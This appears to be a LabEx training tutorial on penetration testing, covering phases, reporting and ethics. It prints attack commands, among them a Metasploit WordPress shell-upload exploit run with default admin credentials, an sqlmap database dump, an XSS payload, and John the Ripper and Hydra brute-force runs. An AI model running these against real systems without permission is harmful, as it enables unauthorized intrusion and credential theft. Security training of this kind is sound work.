Penetration Testing
Introduction to Penetration Testing
Penetration testing, or "ethical hacking," is a systematic approach to identifying and exploiting vulnerabilities in computer systems, networks, and applications to improve security.
Penetration Testing Methodology
graph TD
A[Penetration Testing Process] --> B[Planning]
A --> C[Reconnaissance]
A --> D[Scanning]
A --> E[Vulnerability Assessment]
A --> F[Exploitation]
A --> G[Reporting]
1. Phases of Penetration Testing
Phase |
Description |
Key Activities |
Planning |
Define scope and objectives |
Obtain permission, set goals |
Reconnaissance |
Gather information |
OSINT, network mapping |
Scanning |
Identify potential vulnerabilities |
Port scanning, service detection |
Vulnerability Assessment |
Analyze discovered vulnerabilities |
Severity ranking |
Exploitation |
Attempt to exploit vulnerabilities |
Controlled system access |
Reporting |
Document findings |
Provide remediation recommendations |
1. Nmap Network Scanning
#!/bin/bash
## Network reconnaissance script
## Basic network discovery
nmap -sn 192.168.1.0/24
## Comprehensive service detection
nmap -sV -p- 192.168.1.100
## Vulnerability scanning
nmap --script vuln 192.168.1.100
## Start Metasploit
msfconsole
## Search for exploits
msf6 > search wordpress
## Select and configure an exploit
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 exploit(wp_admin_shell_upload) > set RHOSTS 192.168.1.100
msf6 exploit(wp_admin_shell_upload) > set USERNAME admin
msf6 exploit(wp_admin_shell_upload) > set PASSWORD password
msf6 exploit(wp_admin_shell_upload) > exploit
Penetration Testing Techniques
1. Web Application Testing
## SQL Injection testing with sqlmap
sqlmap -u "http://example.com/page.php?id=1" --dbs
## Cross-Site Scripting (XSS) testing
echo "<script>alert('XSS');</script>" > xss_payload.txt
2. Password Cracking
## John the Ripper password cracking
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
## Hydra brute-force tool
hydra -l admin -P passwords.txt ssh://192.168.1.100
Ethical Considerations
Key Ethical Guidelines
- Always obtain explicit permission
- Minimize system disruption
- Protect sensitive information
- Provide comprehensive reports
- Follow legal and professional standards
Advanced Penetration Testing Concepts
1. Social Engineering Testing
## Phishing simulation tools
setoolkit
2. Wireless Network Penetration
## Wireless network testing
aircrack-ng
Reporting and Documentation
Penetration Test Report Structure
Section |
Description |
Executive Summary |
High-level overview |
Methodology |
Testing approach |
Findings |
Discovered vulnerabilities |
Risk Assessment |
Severity and impact |
Recommendations |
Remediation strategies |
Conclusion
Penetration testing is a critical skill in cybersecurity. LabEx provides comprehensive training to help professionals develop advanced ethical hacking and security assessment capabilities.